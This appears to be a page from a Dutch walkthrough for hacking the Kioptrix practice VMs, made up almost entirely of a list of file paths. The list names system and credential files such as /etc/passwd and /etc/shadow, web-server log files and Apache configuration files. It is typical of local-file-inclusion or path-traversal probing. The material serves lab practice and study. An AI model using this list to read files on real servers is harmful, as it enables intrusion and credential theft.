/home/users/web/b1286/ipg.roksbox/home/index.php /etc/issue /etc/motd /etc/passwd /etc/passwd /etc/shadow /etc/group /etc/security/group /etc/security/passwd /etc/security/user /etc/security/environ /etc/security/limits /usr/lib/security/mkuser.default /apache/logs/error.log /apache/logs/access.log /etc/httpd/logs/access.log /etc/httpd/logs/error_log /var/www/logs/access_log /var/www/logs/error.log /usr/local/apache/logs/access_log /usr/local/apache/logs/access.log /usr/local/apache/logs/error_log /usr/local/apache/logs/error.log /var/log/apache/access_log /var/log/apache2/access_log /var/log/apache/error.log /var/log/apache2/error.log /var/log/access_log /var/log/access.log /var/www/logs/error_log /var/www/logs/error.log /var/log/httpd/access_log /var/log/httpd/error_log /var/log/httpd/access_log /var/log/httpd/error_log /apache2/logs/error.log /apache2/logs/access.log /logs/error.log /logs/access.log /logs/error_log /logs/access_log /usr/local/apache2/logs/access_log /usr/local/apache2/logs/access.log /usr/local/apache2/logs/error_log /usr/local/apache2/logs/error.log /opt/lampp/logs/access_log /opt/lampp/logs/error_log /opt/xampp/logs/access_log /opt/xampp/logs/error_log /opt/lampp/logs/access.log /opt/lampp/logs/error.log /opt/xampp/logs/access.log /opt/xampp/logs/error.log /Program Files\Apache Group\Apache\logs\access.log /Program Files\Apache Group\Apache\logs\error.log /usr/local/apache/conf/httpd.conf /usr/local/apache2/conf/httpd.conf /etc/httpd/conf/httpd.conf /etc/apache/conf/httpd.conf /usr/local/etc/apache/conf/httpd.conf /etc/apache2/httpd.conf /usr/local/apache/conf/httpd.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache/httpd.conf /usr/local/apache2/httpd.conf /usr/local/httpd/conf/httpd.conf /usr/local/etc/apache/conf/httpd.conf /usr/local/etc/apache2/conf/httpd.conf /usr/local/etc/httpd/conf/httpd.conf /usr/apache2/conf/httpd.conf /usr/apache/conf/httpd.conf /usr/local/apps/apache2/conf/httpd.conf /usr/local/apps/apache/conf/httpd.conf /etc/apache/conf/httpd.conf /etc/apache2/conf/httpd.conf /etc/httpd/conf/httpd.conf /etc/http/conf/httpd.conf /etc/apache2/httpd.conf /etc/httpd/httpd.conf /etc/http/httpd.conf /etc/httpd.conf /opt/apache/conf/httpd.conf /opt/apache2/conf/httpd.conf /var/www/conf/httpd.conf /private/etc/httpd/httpd.conf
Kioptrix VMs Challenge Walkthrough
Een beschrijving van alle stappen voor het hacken van de Kioptrix machines.

    Tweeten

© Henk Dalmolen
Reageer via E-mail (dalmolen@xs4all.nl)

Deze pagina is voor het laatst gewijzigd op: 15-02-23 15:03:57